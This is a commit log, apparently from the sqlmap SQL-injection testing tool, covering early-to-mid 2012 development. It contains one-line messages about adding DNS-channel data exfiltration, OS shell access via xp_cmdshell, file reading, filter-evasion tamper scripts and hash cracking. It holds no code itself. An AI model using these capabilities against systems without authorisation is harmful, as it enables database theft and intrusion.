Miroslav Stampar 56a3431be6 minor update for empty tables (skipping other techniques) 2012-05-09 10:34:21 +00:00
Miroslav Stampar 6177317a17 minor update 2012-05-09 10:06:23 +00:00
Miroslav Stampar 37f2709197 making a generic solution for all "Generic comment"/MsAccess cases (it's the only DBMS which doesn't accept --, hence replacing generic comment with %00 for it) 2012-05-09 09:08:23 +00:00
Miroslav Stampar fdf61015ad minor patch 2012-05-09 08:41:05 +00:00
Miroslav Stampar e419177871 minor update 2012-05-08 17:28:19 +00:00
Miroslav Stampar deec97dfe3 adding Frontbase to error message regexes 2012-05-08 17:02:58 +00:00
Miroslav Stampar eccd4da00f minor fix 2012-05-08 15:03:33 +00:00
Miroslav Stampar 938d9ff23e doing all the work for the users so they wouldn't strain their little hands 2012-05-08 15:00:23 +00:00
Miroslav Stampar 524dd75ff2 that query variable hasn't been used anywhere (obsolete for some time) 2012-05-08 14:34:40 +00:00
Miroslav Stampar 6af110d631 avoiding --no-cast/--hex warning message before a DBMS is fingerprinted 2012-05-08 14:06:41 +00:00
Miroslav Stampar 64c241fe92 limiting original UNION query results to only 1 result (potentially speeding things up in some cases) 2012-05-08 13:45:53 +00:00
Miroslav Stampar e00f4a8934 minor cosmetics 2012-05-08 10:50:04 +00:00
Miroslav Stampar a121339395 automatically writing uncracked hashes to a file for eventual further processing 2012-05-08 10:46:05 +00:00
Miroslav Stampar 80ee687b41 minor beauty patch 2012-05-07 13:51:31 +00:00
Miroslav Stampar e9f6b00e26 minor fix in a KeepAlive library 2012-05-07 13:36:36 +00:00
Miroslav Stampar 57234e1ff5 fix for proper (international character) inference on MsAccess 2012-05-03 23:13:48 +00:00
Miroslav Stampar 96299d3d5d minor refactoring 2012-05-03 22:34:18 +00:00
Miroslav Stampar cc28f6db6b minor update 2012-05-01 20:43:16 +00:00
Miroslav Stampar 8013a64f8c minor refactoring 2012-05-01 19:57:30 +00:00
Miroslav Stampar c71d435d9f making "id"-like columns prioritized for ORDER BY in MySQL 2012-05-01 19:52:02 +00:00
Miroslav Stampar 17efeaae7f causing too much confusion among dummy users 2012-05-01 09:04:11 +00:00
Miroslav Stampar 458a73c9b4 few consistency fixes 2012-04-29 23:09:00 +00:00
Miroslav Stampar 694b14111f skipping suffix if comment is used in agent.suffixQuery (and --suffix not explicitly set) 2012-04-27 13:16:51 +00:00
Miroslav Stampar c7a606637f switching few readInput defaults for brute forcing when no table/column found 2012-04-27 12:59:22 +00:00
Miroslav Stampar 1e45ee9ab6 reverting back to smaller UNION ranges as that mechanism for automatic extending was implemented few days ago 2012-04-25 20:37:39 +00:00
Miroslav Stampar 6f67dc85ee adding --invalid-bignum (Havij like bignum style for invalidating/negating values); renaming --logical-negate to --invalid-logical 2012-04-25 20:29:07 +00:00
Bernardo Damele 4da03d898e Added support to create files with a visual basic script - no longer reliant on debug.exe so works on Windows 64-bit too. Fixes #236 2012-04-25 07:40:42 +00:00
Bernardo Damele 6116853025 Minor layout adjustments 2012-04-24 17:01:24 +00:00
Miroslav Stampar cec432f94d minor update 2012-04-23 14:43:59 +00:00
Miroslav Stampar 697768c01a adding --purge-output to be one of mandatory switches 2012-04-23 14:42:24 +00:00
Miroslav Stampar d57d5e4b2c minor update 2012-04-23 14:33:36 +00:00
Miroslav Stampar 1eecfb3dce adding new file related to the last commit 2012-04-23 14:25:16 +00:00
Miroslav Stampar 095b25e1d1 adding option '--purge' 2012-04-23 14:24:23 +00:00
Miroslav Stampar 3532d23933 automatically extending ranges for UNION tests in case where at least one other injection technique is usable (boundaries has been established) 2012-04-23 13:41:36 +00:00
Bernardo Damele eb73cab636 increased UNION test ranges 2012-04-23 11:54:52 +00:00
Miroslav Stampar be2da77bf8 minor update 2012-04-23 10:15:04 +00:00
Miroslav Stampar 21c6b52198 minor fix 2012-04-23 10:11:00 +00:00
Miroslav Stampar 775134639d minor update 2012-04-20 20:33:15 +00:00
Bernardo Damele 072e08836f Falling back to unionReadFile() when --file-read does not work against MySQL. This happens when the session user does not have INSERT privilege, required to run LOAD DATA INFILE 2012-04-19 14:05:45 +00:00
Miroslav Stampar 2b1b4c0742 minor fix 2012-04-18 10:01:04 +00:00
Miroslav Stampar 6ebb621228 adding support for (custom) POST injection (marking injection point with '*' in conf.data) 2012-04-17 14:23:00 +00:00
Miroslav Stampar efd27d7ade minor renaming 2012-04-17 08:41:19 +00:00
Miroslav Stampar ccd6fb70a8 minor refactoring 2012-04-15 17:17:30 +00:00
Miroslav Stampar 965c1511a6 adding new tamper script 2012-04-15 17:10:43 +00:00
Miroslav Stampar 601d118c68 reverting back to UNION ALL scheme (UNION is doing another DISTINCT on data causing problems on some column types) 2012-04-15 16:59:03 +00:00
Miroslav Stampar 71b0acc16f minor fix (checking for full inband should be done with ORIGINAL - more concise) 2012-04-15 16:43:18 +00:00
Miroslav Stampar 5772c52f46 minor refactoring/fix (randQuery is just a part (e.g. abc) of phrase (def:abc:ghi) - phrase should be searched for, not just randQuery); both phrases should be inside the content for it to be full-inband injectable (...UNION ALL SELECT phrase UNION ALL SELECT phrase2....) 2012-04-15 16:33:47 +00:00
Miroslav Stampar ae8c70e895 another cosmetics 2012-04-13 15:11:44 +00:00
Miroslav Stampar d765cdc3a3 minor cosmetics 2012-04-13 15:10:40 +00:00
Miroslav Stampar 54576ab3a6 making a random choice from candidates 2012-04-13 10:54:30 +00:00
Miroslav Stampar bbbcc95fe5 use it only if page is stable 2012-04-13 10:19:26 +00:00
Miroslav Stampar 414c74b8aa new payload 2012-04-13 08:16:33 +00:00
Miroslav Stampar 052d9455fe warning user in cases of "User xyz already has more than 'max_user_connections' active connections" 2012-04-12 09:44:54 +00:00
Miroslav Stampar 831f79b851 minor generalization 2012-04-12 09:30:19 +00:00
Miroslav Stampar c7422546e1 tiny update 2012-04-11 23:01:38 +00:00
Miroslav Stampar 2bad73a981 minor update 2012-04-11 21:48:44 +00:00
Miroslav Stampar e195de2093 correcting comment on reflective removal function 2012-04-11 21:41:48 +00:00
Miroslav Stampar b45ae10da4 minor fixes 2012-04-11 21:36:37 +00:00
Miroslav Stampar 627bfc589f some more updates in reflective removal mechanism 2012-04-11 21:26:00 +00:00
Miroslav Stampar 8b130f6497 minor improvement for reflective values (when missing first part of payload like in error reports) 2012-04-11 15:01:28 +00:00
Miroslav Stampar 01bd5d0ab2 some more updates for reflective mechanism 2012-04-11 10:41:33 +00:00
Miroslav Stampar 2e92d8636e improvement of reflective mechanism 2012-04-11 08:58:03 +00:00
Miroslav Stampar 60ca44e0cf minor adjustment 2012-04-11 08:35:09 +00:00
Miroslav Stampar e33ea7c33a minor fix 2012-04-10 22:29:39 +00:00
Miroslav Stampar 8541222080 minor update 2012-04-10 22:26:42 +00:00
Miroslav Stampar 9c2f244d47 minor fix 2012-04-10 22:20:53 +00:00
Miroslav Stampar a82206cec4 minor cosmetics 2012-04-10 21:57:00 +00:00
Miroslav Stampar 119eec3598 improving "boolean detection" by automatic recognition of convenient --string candidate 2012-04-10 21:48:34 +00:00
Miroslav Stampar 698b7a15d9 minor update 2012-04-07 14:14:26 +00:00
Miroslav Stampar 8c6eb4faa9 adding support for PgSQL DNS data exfiltration 2012-04-07 14:06:11 +00:00
Miroslav Stampar b2afa87e48 reading page responses in chunks, trimming unnecessary content (especially for large table dumps in full inband cases) 2012-04-06 08:42:36 +00:00
Miroslav Stampar 2223c884e5 minor refactoring 2012-04-05 12:55:26 +00:00
Miroslav Stampar 02924eb345 minor update 2012-04-04 23:47:06 +00:00
Miroslav Stampar e0994947e2 minor update 2012-04-04 23:37:50 +00:00
Miroslav Stampar b1dd03731a minor cosmetics 2012-04-04 23:34:08 +00:00
Miroslav Stampar 83387d92bb minor bug fix 2012-04-04 23:32:20 +00:00
Miroslav Stampar c89a4162e2 bug fix for --dns-domain with --technique=TS 2012-04-04 18:01:39 +00:00
Bernardo Damele 80228f67f6 removed newline 2012-04-04 13:49:03 +00:00
Bernardo Damele e23efabf86 removed unuseful spaces 2012-04-04 13:36:18 +00:00
Bernardo Damele c051d7fecc Prefer xp_dirtree 2012-04-04 13:29:25 +00:00
Miroslav Stampar 098c7c06dd added few comments 2012-04-04 13:24:58 +00:00
Miroslav Stampar a5b69eaea4 removing unused imports 2012-04-04 13:18:14 +00:00
Bernardo Damele 52796bb4da revert 2012-04-04 13:02:50 +00:00
Miroslav Stampar a4b95ab7dd works against MySQL/Windows 2012-04-04 12:49:45 +00:00
Bernardo Damele a1d97e9d7b Add a space after a comment 2012-04-04 12:48:21 +00:00
Bernardo Damele 025c531d22 leftover 2012-04-04 12:44:25 +00:00
Bernardo Damele c0946ce2c9 Minor refactoring 2012-04-04 12:42:58 +00:00
Bernardo Damele 75d1dab895 more cosmetics 2012-04-04 12:33:16 +00:00
Bernardo Damele d106fb5184 layout adjustments 2012-04-04 12:27:24 +00:00
Miroslav Stampar 1b2cd44255 proper fix 2012-04-04 10:35:52 +00:00
Miroslav Stampar 7031ef8e00 removing default values for referer and host from higher level/risk options 2012-04-04 10:34:27 +00:00
Bernardo Damele 1f82d29a36 switch two conditional payloads for proper detection 2012-04-04 10:11:48 +00:00
Miroslav Stampar 5e358b51f9 few fixes related to bug report by Shadow Folder (AttributeError: 'list' object has no attribute 'isdigit') 2012-04-04 09:25:05 +00:00
Bernardo Damele d5b4b7996a minor revert 2012-04-04 00:09:47 +00:00
Bernardo Damele 049c27c739 improved detection for INSERT and UPDATE statements 2012-04-03 23:29:06 +00:00
Miroslav Stampar 11546cdb6e minor refactoring 2012-04-03 19:09:35 +00:00
Miroslav Stampar 5851badff1 minor refactoring 2012-04-03 14:46:09 +00:00
Miroslav Stampar b0787f193c getting rid of obsolete getCompiledRegex (in newer versions of Python regexes are already cached) 2012-04-03 14:34:15 +00:00
Miroslav Stampar 556b349be3 minor fix for retrieving non-printable chars in inference and non-multi threading mode 2012-04-03 14:04:07 +00:00
Miroslav Stampar 33bb9c5f19 much cleaner approach in that "flat" representation of retrieved items in union technique 2012-04-03 13:56:11 +00:00
Miroslav Stampar 7fb190f3b1 minor fix 2012-04-03 12:35:19 +00:00
Miroslav Stampar 886aa22efc minor update 2012-04-03 12:19:37 +00:00
Miroslav Stampar 503988887c minor update 2012-04-03 10:43:46 +00:00
Miroslav Stampar 78f51fd2e5 minor fix 2012-04-03 10:18:03 +00:00
Miroslav Stampar 2504f4edb8 minor fixes 2012-04-03 10:10:33 +00:00
Miroslav Stampar e05109812f minor improvements regarding data retrieval through DNS channel 2012-04-03 09:18:30 +00:00
Miroslav Stampar 46cfa64d81 minor update 2012-04-02 21:06:57 +00:00
Miroslav Stampar 5f94987b0f fix for DNS method for MSSQL 2012-04-02 17:28:18 +00:00
Miroslav Stampar 2c28423cb8 minor update 2012-04-02 14:57:15 +00:00
Miroslav Stampar 8a9d09f79b minor fixes 2012-04-02 14:11:23 +00:00
Miroslav Stampar 1cd3c3f7af further update of DNS data retrieval mechanism through SQLi 2012-04-02 14:05:30 +00:00
Miroslav Stampar 1e01203562 few just in case "patches" 2012-04-02 12:58:10 +00:00
Miroslav Stampar d908d078dd minor fix 2012-04-02 12:27:30 +00:00
Miroslav Stampar abffc39929 minor update regarding DNS data retrieval task 2012-04-02 12:22:40 +00:00
Miroslav Stampar f7a664b120 enablind DNS server for DNS data exfiltration 2012-03-31 12:08:27 +00:00
Miroslav Stampar 8be9cd4ac4 bug fix (on Linux machine when os.geteuid() returns an integer value !=0 it was then returned and interpreted as TRUE value) 2012-03-31 10:22:50 +00:00
Bernardo Damele 40a7232de6 Minor fix to avoid useless tests (FROM DUAL is Oracle specific so no point using + to concatenate strings) 2012-03-30 16:27:08 +00:00
Miroslav Stampar 429b8396e9 minor update for DNSServer support 2012-03-30 13:20:29 +00:00
Miroslav Stampar 56638f9e95 making --no-cast unhidden and renaming --negative-logic to --logical-negate to prevent confusion with stuff used in OR boolean based injection 2012-03-30 10:50:01 +00:00
Miroslav Stampar 79c3d6f2aa minor update 2012-03-30 10:37:46 +00:00
Miroslav Stampar 6acf6b193a minor update regarding boolean logic comparison mechanism 2012-03-30 09:42:58 +00:00
Miroslav Stampar 5469186540 minor comment update 2012-03-29 14:35:47 +00:00
Miroslav Stampar 637a8d8273 improvement toward proper implementation of OR-based injection by usage of "negative logic" mechanism 2012-03-29 14:33:27 +00:00
Miroslav Stampar ce4c697bbd disabling "negative logic" as it's not half done (it was "luckily" working for --string/--regex/--code but it was a sheer luck); removing "dirty fix" from checks.py; proof that this was not ready for the release is that there was not check for negative logic anywhere for anything more then --string/--regex/--code 2012-03-29 13:39:12 +00:00
Miroslav Stampar 772ead8d03 fixed support for error-based injection on MySQL 4.1 (help table a needs more than 2 items inside); also, fixed some border issues with reflective values 2012-03-29 12:44:20 +00:00
Miroslav Stampar c9cac957bb adding one more case for false positive check (Generic tests without any DBMS knowledge) 2012-03-29 09:56:09 +00:00
Miroslav Stampar 60146481af bug fix(es) (flags were used in place of count parameter in re.sub() calls) 2012-03-28 19:33:00 +00:00
Miroslav Stampar 9433bbe26d memory optimization for reflective removal mechanism (there was no need for \n\r in the first place as there was no re.S flag used - also, one re.sub "flags <-> count" bug fixed) 2012-03-28 19:27:12 +00:00
Miroslav Stampar 7d131d1fb1 minor update 2012-03-28 13:46:31 +00:00
Miroslav Stampar 7fd64df167 minor code cleaning 2012-03-28 13:31:07 +00:00
Miroslav Stampar 769b0d0ae7 more minor updates regarding data retrieval through DNS channel 2012-03-27 19:29:24 +00:00
Miroslav Stampar 9199ce5054 minor update 2012-03-27 19:07:17 +00:00
Miroslav Stampar 1b072f6415 laying foundation for DNS based data retrieval 2012-03-27 18:59:12 +00:00
Miroslav Stampar 645fc8a21c minor refactoring 2012-03-27 08:31:48 +00:00
Miroslav Stampar 3abcd6910a strange combination of "Set-Cookie" and interleaved pattern of True/False like responses can result in bypassing of the ABAB test 2012-03-22 00:06:50 +00:00
Miroslav Stampar e88687b1f0 revert of last commit (it would be faster for sure, but not sure if it's clever to do it by default regarding SQLi detection) 2012-03-21 23:15:59 +00:00
Miroslav Stampar 524c1d38ad making default redirect choice to NO (making fewer requests by default and in lots of cases clearer pages for comparison - original page vs redirect message) 2012-03-21 23:03:57 +00:00
Miroslav Stampar 11132ba993 fix for a bug in reflection removal mechanism 2012-03-19 14:28:18 +00:00
Miroslav Stampar 8e7d360ea2 cleaner refactoring regarding last commit 2012-03-19 12:03:25 +00:00
Miroslav Stampar 401763b6f8 minor fix (it has to be level 1 array like it was with the previous re.findall mechanism) 2012-03-19 12:00:22 +00:00
Miroslav Stampar 72c5b034bf minor update 2012-03-19 11:50:38 +00:00
Miroslav Stampar cb8caf7e0f i am not very bright today :) 2012-03-19 11:23:23 +00:00
Miroslav Stampar d5915e5d44 one other fix 2012-03-19 11:19:26 +00:00
Miroslav Stampar 7abfa2e6d4 minor fix 2012-03-19 11:18:00 +00:00
Miroslav Stampar cce5c3c009 minor changes for version numbers 2012-03-19 11:07:03 +00:00
Miroslav Stampar 037db9b3b8 minor removal of older stuff 2012-03-19 09:38:27 +00:00
Miroslav Stampar da7f4eeffd removing left over 2012-03-18 17:33:14 +00:00
Miroslav Stampar 0fc4288a7c modifying redirection code for only two choices 2012-03-18 17:27:08 +00:00
Bernardo Damele c03d0e24fb it must stay as is 2012-03-16 17:42:00 +00:00
Bernardo Damele 3505503a08 no need to return here 2012-03-16 17:30:16 +00:00
Bernardo Damele 942d9e4fa8 code cleanup 2012-03-16 17:27:24 +00:00
Bernardo Damele a1c943fc79 Major bug fix to comparison algorithm with OR based boolean-based injections 2012-03-16 17:22:55 +00:00
Miroslav Stampar d66056fe39 one more related commit 2012-03-16 13:16:53 +00:00
Miroslav Stampar ac02a2d92c minor fix 2012-03-16 13:14:14 +00:00
Miroslav Stampar cbdcbdd786 minor minor update 2012-03-16 11:18:18 +00:00
Miroslav Stampar b130a9e14e minor fix (writing to HashDB on any interrupt) 2012-03-16 10:15:43 +00:00
Miroslav Stampar 577caac4de putting kb.negativeLogic setting to the safe place 2012-03-16 09:17:11 +00:00
Miroslav Stampar 209e795369 minor just in case update 2012-03-16 09:02:17 +00:00
Miroslav Stampar adb5fff6b2 one more update related to the redirection mechanism 2012-03-15 20:17:40 +00:00
Miroslav Stampar 7d313ac911 few more fixes for proper redirecting mechanism 2012-03-15 19:47:59 +00:00
Bernardo Damele 48e8c978fb Minor fix, way more to do for --search -C for MSSQL 2012-03-15 17:55:49 +00:00
Bernardo Damele 86c4650058 Minor bug fix - revert 2012-03-15 17:12:24 +00:00
Bernardo Damele cc15373769 More explicit function name also getRatioValue parameter has nothing to do with comparison at this stage as far as I can see (that might have fixed another "bug", to be checked later) 2012-03-15 16:29:28 +00:00
Bernardo Damele 4520744b4d second step toward negative logic support (ported to detection phase too) - works well with --string, --regexp and --code now 2012-03-15 16:25:26 +00:00
Bernardo Damele 0013b0970f Minor layout adjustments - foundDb is misleading at that stage 2012-03-15 16:07:16 +00:00
Miroslav Stampar ddd92476a8 minor fix 2012-03-15 15:58:25 +00:00
Miroslav Stampar 19beb912fa first step toward negative logic support 2012-03-15 15:52:12 +00:00
Miroslav Stampar 8dd570057b minor fix (double traffic log for -t in case of HTTP error) 2012-03-15 14:51:16 +00:00
Miroslav Stampar f7df755f37 minor update 2012-03-15 12:55:22 +00:00
Miroslav Stampar 3d39c6cb3b some fixes here and there 2012-03-15 12:14:50 +00:00
Miroslav Stampar 3d9b1599d1 minor update 2012-03-15 11:45:32 +00:00
Miroslav Stampar 91f1d6141f minor fix 2012-03-15 11:24:55 +00:00
Miroslav Stampar a8c9a47092 redirect logic rewritten from scratch 2012-03-15 11:10:58 +00:00
Miroslav Stampar 84479eebe9 minor fix 2012-03-15 08:55:42 +00:00
Bernardo Damele 890bf708bc Minor fixes to make --os-* switch work again against MySQL/Windows/ASP.NET (where stacked queries are supported) 2012-03-15 00:19:57 +00:00
Miroslav Stampar 8cf5d260fd Application Data is not a temporary directory writable by everybody 2012-03-14 23:44:29 +00:00
Bernardo Damele 1e71b24dca More info messages to prove xp_cmdshell (and temporary directory choosen) worked 2012-03-14 22:41:53 +00:00
Bernardo Damele c735d846ee The default temporary directory as to stay as is, do not touch this code snippet anymore please 2012-03-14 22:39:46 +00:00
Miroslav Stampar 52a8b25ff4 minor fix 2012-03-14 14:31:41 +00:00
Miroslav Stampar ca0d068575 distinguishing NULL from BLANK 2012-03-14 13:52:23 +00:00
Miroslav Stampar e38b59a2ae minor update 2012-03-14 13:16:49 +00:00
Miroslav Stampar cee9ff7885 proper parsing of content in partial union technique 2012-03-14 11:23:30 +00:00
Miroslav Stampar 61ad3b999a fix for a crash with partial union and --hex 2012-03-14 10:31:24 +00:00
Miroslav Stampar a7fbc55748 grammar fix 2012-03-13 22:03:23 +00:00
Miroslav Stampar edfcddd3c3 minor fix for logging only cookies used by request (e.g. --load-cookies case) 2012-03-13 10:58:15 +00:00
Miroslav Stampar 34b0935cb3 refactoring "echo 1" quick test for xp_cmdshell console output 2012-03-13 10:36:49 +00:00
Miroslav Stampar e827f41cdb using pickle HIGHEST_PROTOCOL just in case 2012-03-13 09:35:37 +00:00
Miroslav Stampar e6c610abab minor fix 2012-03-13 09:14:56 +00:00
Miroslav Stampar cda8815634 introducing safe deprecation mechanism for HashDB versioning 2012-03-12 22:55:57 +00:00
Miroslav Stampar 48bcde478e more general update 2012-03-12 15:29:55 +00:00
Miroslav Stampar 1d0c8a7f44 minor update 2012-03-12 15:19:02 +00:00
Miroslav Stampar 6ed1b04bbe minor update 2012-03-12 13:27:07 +00:00
Bernardo Damele 48592f2515 minor adjustments 2012-03-09 18:34:18 +00:00
Bernardo Damele be9b103b51 minor bug fix 2012-03-09 18:02:50 +00:00
Bernardo Damele 012fc21b49 Improvements to column(s) search: now it's possible to search column(s) in provided table(s) across all databases, search column(s) across all tables in provided database(s) or let sqlmap alone identify the databases' tables - this is now implemented for error-based, union query and direct connection. Work is still required for boolean-based and time-based.
Adapted the queries.xml file accordingly
2012-03-09 17:47:50 +00:00
Miroslav Stampar c878dd3e5a doing a dummy test for --os-shell in case of xp_cmdshell 2012-03-09 14:21:41 +00:00
Bernardo Damele 4ac2611a56 Added another tamper script 2012-03-09 12:09:19 +00:00
Bernardo Damele d9e499af9f Set Id property 2012-03-09 12:05:21 +00:00
Miroslav Stampar a0b46963cb minor fix for some special "unusable" cases (seen on Access/ODBC/Linux setup) 2012-03-09 10:28:19 +00:00
Bernardo Damele 7330dff255 Minor bug fix for --search -C so that now if not columns are found (with criteria specified, e.g. -D testdb -T testtable), it won't ask to dump for the entries 2012-03-08 16:57:53 +00:00
Miroslav Stampar e678219a8c minor update 2012-03-08 15:51:30 +00:00
Bernardo Damele ae87df5670 leftover 2012-03-08 15:45:33 +00:00
Miroslav Stampar 5a83f1c5f7 minor update 2012-03-08 15:43:22 +00:00
Bernardo Damele 4bc6f3f6c9 Minor bug fix so that --search -T tablename -D db1,db2 now correctly forges the query concatenating db1 and db2 with a OR, not an AND anymore 2012-03-08 15:32:05 +00:00
Miroslav Stampar 68b9d48d0a minor update 2012-03-08 15:30:23 +00:00
Miroslav Stampar 2ab80bfb2c minor bug fix 2012-03-08 15:24:05 +00:00
Bernardo Damele c79807f5fb Minor layout adjustments 2012-03-08 15:11:24 +00:00
Miroslav Stampar 775e424bf2 bug fix for using --no-cast and --hex switches together 2012-03-08 15:04:52 +00:00
Miroslav Stampar 11c7cc5224 minor temporary fix 2012-03-08 11:08:43 +00:00
Miroslav Stampar 98a3e43f53 bug fix for writing raw pickled data into SQLite HashDB 2012-03-08 10:57:47 +00:00
Miroslav Stampar cd28eb6544 minor update regarding --load-cookies 2012-03-08 10:19:34 +00:00
Miroslav Stampar 2c87d061e9 minor update 2012-03-08 10:03:59 +00:00
Miroslav Stampar 9ca8bc4d51 minor bug fix 2012-03-08 09:52:33 +00:00
Miroslav Stampar b4cf8b05b3 added switch --load-cookies 2012-03-07 14:48:45 +00:00
Miroslav Stampar 4cfea96471 minor update 2012-03-05 09:56:48 +00:00
Miroslav Stampar 0ead1fd87e minor update 2012-03-05 09:42:52 +00:00
Miroslav Stampar ac5a752b12 Oracle's XMLType doesn't like '#' char too 2012-03-01 11:59:37 +00:00
Miroslav Stampar 761ec7529a minor appereance fix 2012-03-01 11:52:30 +00:00
Miroslav Stampar f4e410db16 minor fix 2012-03-01 10:17:39 +00:00
Miroslav Stampar 1ec56f93ec minor update 2012-03-01 10:10:19 +00:00
Miroslav Stampar 2d3c12d2d0 shorter single line info 2012-03-01 09:10:24 +00:00
Miroslav Stampar 37db27b720 turning back on automatic adjusting of delays in time based queries 2012-02-29 15:51:23 +00:00
Miroslav Stampar 0205d96d7b minor fix 2012-02-29 15:38:01 +00:00
Miroslav Stampar 1bdc07c279 minor update 2012-02-29 15:02:24 +00:00
Miroslav Stampar 8b9c5c66cc code refactoring regarding charsetType inside inference/bisection 2012-02-29 14:36:23 +00:00
Miroslav Stampar f6f98f1b41 minor improvement 2012-02-29 14:19:59 +00:00
Miroslav Stampar 10dd9096f7 one more just in case fix for safeSQLIdentificator naming on MSSQL --tables 2012-02-29 14:05:53 +00:00
Miroslav Stampar d06182347f fixing few potential problems 2012-02-29 13:56:40 +00:00
Miroslav Stampar c39d85420a removing PGP Key ID from my info too (used only few times in couple of years) 2012-02-29 09:56:41 +00:00
Miroslav Stampar f142c0f782 minor update 2012-02-28 14:04:13 +00:00
Miroslav Stampar 22b3fa0749 minor update 2012-02-27 15:28:36 +00:00
Miroslav Stampar a9bf0297f6 moving injection data to HashDB 2012-02-27 13:44:07 +00:00
Miroslav Stampar 68e08d2749 minor fix for not displaying 'None' but None in enumeration when data unavailable 2012-02-27 13:15:10 +00:00
Miroslav Stampar a424de3102 minor fix 2012-02-27 12:55:28 +00:00
Miroslav Stampar 1e82405bb9 HashDB is now supported in -d too 2012-02-27 12:14:01 +00:00
Miroslav Stampar 3909658fc2 few minor just in case updates 2012-02-27 11:15:53 +00:00
Miroslav Stampar 85125018a1 minor bug fix 2012-02-25 22:54:32 +00:00
Miroslav Stampar 5d307cf886 minor update 2012-02-25 10:54:39 +00:00
Miroslav Stampar 06ab3fa134 minor update 2012-02-25 10:53:38 +00:00
Miroslav Stampar 74b19a0386 minor update 2012-02-25 10:43:10 +00:00
Miroslav Stampar 5b67af3b20 minor update 2012-02-24 15:03:39 +00:00
Miroslav Stampar 8a203ef79d making session data strictly dependent on url through HashDB helper functions 2012-02-24 14:58:24 +00:00
Miroslav Stampar c36cbbb3ae minor fix 2012-02-24 14:54:10 +00:00
Miroslav Stampar 26b33154ab optimal fix related to the last commit 2012-02-24 14:28:41 +00:00
Miroslav Stampar 9d6fd2e507 bug fix for --schema --technique=BST 2012-02-24 14:12:19 +00:00
Miroslav Stampar f94b91ad87 added helper function for HashDB data storing/retrieval 2012-02-24 13:07:20 +00:00
Miroslav Stampar b481c0352f minor update 2012-02-24 11:25:56 +00:00
Miroslav Stampar 1f6ce265b9 minor fix 2012-02-24 11:05:04 +00:00
Miroslav Stampar 5afbd52b61 more update related to last commits 2012-02-24 10:57:23 +00:00
Miroslav Stampar 570d3a19c2 more general fix 2012-02-24 10:53:28 +00:00
Miroslav Stampar e8352e504f fixing problems with chars deletition by logging messages in inference mode 2012-02-24 10:48:19 +00:00
Miroslav Stampar 71028a81f5 fix for proper retrieval of columns in SQLite 2012-02-24 09:55:13 +00:00
Miroslav Stampar f9d2971474 minor just in case fix 2012-02-23 16:37:06 +00:00
Miroslav Stampar 7941504c3a minor update 2012-02-23 15:32:36 +00:00
Miroslav Stampar 0478e4166a minor justin case fix 2012-02-23 15:19:20 +00:00
Miroslav Stampar 086c3a3662 minor fix 2012-02-23 13:31:50 +00:00
Bernardo Damele 82e2f27024 Minor doc update 2012-02-23 10:45:52 +00:00
Miroslav Stampar da22e82309 minor fix 2012-02-23 10:29:55 +00:00
Miroslav Stampar 2866aaf4cf minor fixes 2012-02-23 10:16:58 +00:00
Miroslav Stampar 4e44900039 minor update 2012-02-23 10:01:45 +00:00
Miroslav Stampar 03070d17a6 minor update 2012-02-23 09:40:03 +00:00
Miroslav Stampar a0106ff7b4 minor update of CHANGES 2012-02-23 09:34:18 +00:00
Miroslav Stampar 6e54cb171f minor code restyling 2012-02-22 15:53:36 +00:00
Miroslav Stampar 61a25418a9 minor update 2012-02-22 10:45:10 +00:00
Miroslav Stampar b3bd4144f5 removing of unused imports together with some general code refactoring 2012-02-22 10:40:11 +00:00
Miroslav Stampar 386e98a0e3 using UNION SELECT for where=..NEGATIVE 2012-02-22 09:41:58 +00:00
Miroslav Stampar c9d570c83b minor update 2012-02-21 13:49:30 +00:00
Miroslav Stampar 686eacda9a minor update regarding --hex 2012-02-21 13:38:18 +00:00
Miroslav Stampar bcf3255fe1 implementation of switch --hex for 4 major DBMSes 2012-02-21 11:44:48 +00:00
Miroslav Stampar 77723a7aee minor update 2012-02-21 10:24:04 +00:00
Miroslav Stampar d70f4b7150 adding hex conversion functions to queries.xml for 4 major DBMSes 2012-02-21 10:10:43 +00:00
Miroslav Stampar 3e4db6d140 minor fix for Python v2.6 2012-02-20 19:35:57 +00:00
Bernardo Damele f55ad46119 Use %TEMP% environment variable as temporary directory (--tmp-path overwrites this btw) folder with direct connection (-d). Via SQL injection, env variables do not work apparently 2012-02-20 11:06:55 +00:00
Miroslav Stampar 08bf8c201f few minor fixes 2012-02-20 10:24:55 +00:00
Miroslav Stampar bc4dd7c0dd fix for -g 2012-02-20 10:02:19 +00:00
Bernardo Damele 121148f27f There was no point relying on a support table (sqlmapoutput) to get the stdout of executed OS commands when using direct connection (-d) and it saves also number of requests.
Also, BULK INSERT apparently does not work on MSSQL when running as Network Service (at least on Windows XP) so one more reason to avoid using support table.
Minor fix also to threat MSSQL's EXEC statements as SELECT ones
2012-02-17 15:54:49 +00:00
Bernardo Damele ebd40b3933 Minor bug fix to make --file-read and --os-bof syntactically work also with -d (direct connection) 2012-02-17 15:16:05 +00:00
Miroslav Stampar aee269cc14 gazillion changes, nothing will work, muhahaha 2012-02-17 14:22:48 +00:00
Miroslav Stampar dcf7277a0f some more refactorings 2012-02-16 14:42:28 +00:00
Miroslav Stampar 6632aa7308 some more refactoring 2012-02-16 13:46:01 +00:00
Miroslav Stampar 32ca99da53 minor update of FAQ files 2012-02-16 13:26:00 +00:00
Miroslav Stampar 17d9cc0c7a replaced tabs with spaces and removed some pesky unprintable chars 2012-02-16 13:15:01 +00:00
Miroslav Stampar 844fc8addb minor cleanup 2012-02-16 10:19:36 +00:00
Miroslav Stampar 0e23521adc some more refactoring 2012-02-16 09:54:29 +00:00
Miroslav Stampar e1f86c97c4 minor refactoring 2012-02-16 09:46:41 +00:00
Miroslav Stampar bcf9fc6c6f minor refactoring 2012-02-16 09:32:47 +00:00
Miroslav Stampar 8d7912ad34 minor update and refactoring 2012-02-15 14:05:50 +00:00
Miroslav Stampar bf923a97df minor update 2012-02-15 13:45:10 +00:00
Miroslav Stampar 122db6e164 minor update 2012-02-15 13:24:02 +00:00
Miroslav Stampar 9059d30312 adding first code example for SPL snippets 2012-02-15 13:17:01 +00:00
Miroslav Stampar edeb4b6113 bug fix for --os-shell on Windows (echo ... > requires double quotes if the piped filename contains whitespace, otherwise doesn't hurt) 2012-02-15 11:14:01 +00:00
Miroslav Stampar 35fa214a1e minor update (it was working before too, but this is cleaner) 2012-02-15 10:14:29 +00:00
Bernardo Damele 1c44d6d3c7 Fixed annoying bug that prevented proper checkBooleanExpression() function to work with direct connection (-d). Now DBMS fingerprint should work properly with -d 2012-02-14 17:29:00 +00:00
Miroslav Stampar 23cc8b6974 minor fix for special cases when parameter value contains html encoded characters 2012-02-14 14:08:10 +00:00
Miroslav Stampar c1ab02494c minor grammar and cosmetics 2012-02-14 13:18:37 +00:00
